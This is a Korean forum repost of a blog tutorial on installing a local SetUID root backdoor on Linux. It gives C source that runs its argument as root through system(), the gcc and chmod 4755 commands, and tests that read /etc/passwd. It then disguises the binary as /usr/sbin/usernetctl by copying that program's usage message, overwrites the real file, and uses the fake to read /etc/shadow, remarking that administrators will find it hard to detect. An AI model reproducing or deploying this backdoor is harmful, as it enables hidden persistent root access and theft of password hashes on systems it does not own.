1. 백도어의 생성
[Backdoor.c]
#include
main(int args, char *argv[]) {
char exec[100]; // 백도어 인수 100
setuid(0);
setgid(0);
sprintf(exec, "%s 2>/dev/null", argv[1]);
system(exec);
}
2. 리눅스 창에..
[root@localhost home ] # ls
1) gcc -0 backdoor backdoor.c 입력 ( 컴파일후 실행파일 만듬)
2) chmod 4755 backdoor (쉘 백도어 와같이. 실행권한을 주기 위해 4755 권한을 줌)
3) ls -al
4)./backdoor "id"
uid =0(root) gid=0(root) groups=500(whisfree)
wishfree(wishfree:/wishfree)
5) ./backdoor "cat /etc/passwd"
패스워드 파일은 일반계정처럼 읽을수 없음.
6) ./backdoor 실행 (인수없이 실행) 하면
아무런 반응 없음
7) 관리자 실행해도 내용 파악 하기 어려움
-----------------------------------------
SetUID형 로컬 백도어 설치 및 이용
1) 시스템 내부의 SetUID 비트 파일 검색
[root@wishfree root ]# find /-perm 4755
/use/bin/chage
/user/bin/gpasswd
.
.
.
/usr/sbin/userisdnctl SetUID 비트를 가진 파일 선택 (잘 사용되지 않는 프로그램에 설정)
.
.
2) 선택파일 실행
[root@wishfree root]# usernetctl
usage: usernetctl
3) 소스 수정
[Backdoor.c]
#include
main(int argc, char *argv[]) {
char exec[100]; // 백도어 인수 100
setuid(0);
setgid(0);
sprintf(exec, "%s 2>/dev/null", argv[1]);
system(exec);
printf("usage: usernetctl \n");
}
------
printf 에 정상 메시지 삽입(상위에 백도어)
------
4) gcc -o backdoor2 backdoor.c
5) chmod 4755 backdoor2
6) 실제 파일을 실행시켰을때(./backdoor2)
점검하고
7) 백도어와 선택 파일 과 교체
[root@wishfree wishfree]# cp ./backdoor2 /usr/sbin/usernetctl
cp: overwrite '/usr/sbin/usernetctl' ? y
---------------------
백도어 사용
[wishfree@wishfree root]$ /usr/sbin/usernetctl "cat /etc/shadow"
[출처] 리눅스 SetUID를 이용한 로컬 백도어 설치 및 이용|작성자 칵 퉤퉤
http://blog.naver.com/hellicon?Redirect=Log&logNo=10029458943

ino
08-05-14 11:04
0개
2,429회
리눅스 SetUID를 이용한 로컬 백도어 설치 및 이용
댓글목록
등록된 댓글이 없습니다.